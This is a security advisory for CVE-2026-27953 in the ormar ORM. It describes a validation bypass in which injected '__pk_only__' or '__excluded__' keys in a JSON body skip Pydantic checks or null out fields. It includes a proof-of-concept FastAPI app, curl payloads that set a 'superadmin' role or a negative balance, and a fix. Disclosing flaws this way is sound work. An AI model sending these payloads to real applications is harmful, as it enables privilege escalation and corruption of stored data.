PT-2026-26342 · Ormar Orm+1 · Ormar
Mistz1
·
Published
2026-03-19
·
Updated
2026-03-19
·
CVE-2026-27953
CVSS v3.1
7.1
High
| AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L |
Summary
A Pydantic validation bypass in
ormar's model constructor allows any unauthenticated user to skip all field validation — type checks, constraints, @field validator/@model validator decorators, choices enforcement, and required-field checks — by injecting " pk only ": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.A secondary
excluded parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.Details
Root cause:
NewBaseModel. init (ormar/models/newbasemodel.py, line 128) pops pk only directly from user-supplied **kwargs before any validation occurs:# ormar/models/newbasemodel.py, lines 128-142
pk only = kwargs.pop(" pk only ", False) # ← extracted from user kwargs
object. setattr (self, " pk only ", pk only)
new kwargs, through tmp dict = self. process kwargs(kwargs)
if not pk only:
# Normal path: full Pydantic validation
new kwargs = self.serialize nested models json fields(new kwargs)
self. pydantic validator .validate python(
new kwargs, self instance=self
)
else:
# Bypass path: NO validation at all
fields set = {self.ormar config.pkname}
values = new kwargs
object. setattr (self, " dict ", values) # raw dict written directly
object. setattr (self, " pydantic fields set ", fields set)
The
pk only flag was designed as an internal optimization for creating lightweight FK placeholder instances in [ormar/fields/foreign key.py (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign key.py#L41). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.Why the canonical FastAPI + ormar pattern is vulnerable:
Ormar's official example ([
examples/fastapi quick start.py, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi quick start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:@app.post("/items/", response model=Item)
async def create item(item: Item):
await item.save()
return item
FastAPI parses the JSON body and calls
TypeAdapter.validate python(body dict), which triggers ormar's init. The pk only key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it — even extra='forbid' would not prevent this, because the key is already consumed by ormar.The ormar Pydantic
model config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.What is bypassed when
pk only =True:- All type coercion and type checking (e.g., string for int field)
max lengthconstraints on String fieldschoicesconstraints- All
@field validatorand@model validatordecorators nullable=Falseenforcement at the Pydantic level- Required-field enforcement (only
pknameis put infields set) serialize nested models json fields()preprocessing
Save path persists unvalidated data to the database:
After construction with
pk only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self. dict via extract model db fields(), then executes table.insert().values(**self fields) — persisting the unvalidated data to the database with no re-validation.Secondary vulnerability —
excluded injection:The same pattern applies to
excluded at ormar/models/newbasemodel.py, line 292:excluded: set[str] = kwargs.pop(" excluded ", set())
At lines 326-329, fields listed in
excluded are silently set to None:for field to nullify in excluded:
new kwargs[field to nullify] = None
An attacker can inject
" excluded ": ["email", "password hash"] to nullify arbitrary fields during construction.Affected entry points:
| Entry Point | Exploitable? |
|---|---|
async def create item(item: Item) (FastAPI route) | Yes |
Model.objects.create(**user dict) | Yes |
Model(**user dict) | Yes |
Model.model validate(user dict) | Yes |
PoC
Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar
DATABASE URL = "sqlite+aiosqlite:///test.db"
ormar base config = ormar.OrmarConfig(
database=ormar.DatabaseConnection(DATABASE URL),
metadata=sqlalchemy.MetaData(),
)
@asynccontextmanager
async def lifespan(app: FastAPI):
database = app.state.database
if not database .is connected:
await database .connect()
# Create tables
engine = sqlalchemy.create engine(DATABASE URL.replace("+aiosqlite", ""))
ormar base config.metadata.create all(engine)
engine.dispose()
yield
database = app.state.database
if database .is connected:
await database .disconnect()
app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE URL)
app.state.database = database
class User(ormar.Model):
ormar config = ormar base config.copy(tablename="users")
id: int = ormar.Integer(primary key=True)
name: str = ormar.String(max length=50)
email: str = ormar.String(max length=100)
role: str = ormar.String(max length=20, default="user")
balance: int = ormar.Integer(default=0)
# Canonical ormar pattern from official examples
@app.post("/users/", response model=User)
async def create user(user: User):
await user.save()
return user
if name == " main ":
uvicorn.run(app, host="127.0.0.1", port=8000)
Step 2: Send a normal request (validation works correctly):
# This correctly rejects — "name" exceeds max length=50
curl -X POST http://127.0.0.1:8000/users/
-H "Content-Type: application/json"
-d '{
"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"email": "user@example.com"
}'
# Returns: 422 Validation Error
Step 3: Inject
pk only to bypass ALL validation:curl -X POST http://127.0.0.1:8000/users/
-H "Content-Type: application/json"
-d '{
" pk only ": true,
"name": "",
"email": "not-an-email",
"role": "superadmin",
"balance": -99999
}'
# Returns: 200 OK — all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)
Step 4: Inject
excluded to nullify arbitrary fields:curl -X POST http://127.0.0.1:8000/users/
-H "Content-Type: application/json"
-d '{
" excluded ": ["email", "role"],
"name": "attacker",
"email": "will-be-nullified@example.com",
"role": "will-be-nullified"
}'
# Returns: 200 OK — email and role are set to NULL regardless of input
Impact
Who is impacted: Every application using ormar's canonical FastAPI integration pattern (
async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.Vulnerability type: Complete Pydantic validation bypass.
Impact scenarios:
- Privilege escalation: If a model has a
roleoris adminfield with a Pydantic validator restricting values to"user", an attacker can setrole="superadmin"by bypassing the validator - Data integrity violation: Type constraints (
max length,ge/le, regex patterns) are all bypassed — invalid data is persisted to the database - Business logic bypass: Custom
@field validatorand@model validatordecorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped - Field nullification (via
excluded): Audit fields, tracking fields, or required business fields can be selectively set to NULL
Suggested fix:
Replace
kwargs.pop(" pk only ", False) with a keyword-only parameter that cannot be injected via **kwargs:# Before (vulnerable)
def init (self, *args: Any, **kwargs: Any) -> None:
...
pk only = kwargs.pop(" pk only ", False)
# After (secure)
def init (self, *args: Any, pk only: bool = False, **kwargs: Any) -> None:
...
object. setattr (self, " pk only ", pk only)
Apply the same fix to
excluded:# Before (vulnerable)
excluded: set[str] = kwargs.pop(" excluded ", set())
# After (secure) — pass via keyword-only excluded parameter
def init (self, *args: Any, pk only: bool = False, excluded: set | None = None, **kwargs: Any) -> None:
...
# In process kwargs:
excludes = excluded or set()
Internal callers in
foreign key.py would pass pk only=True as a named argument. Keyword-only parameters prefixed with cannot be injected via JSON body deserialization or Model(**user dict) unpacking.Fix
RCE
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Ormar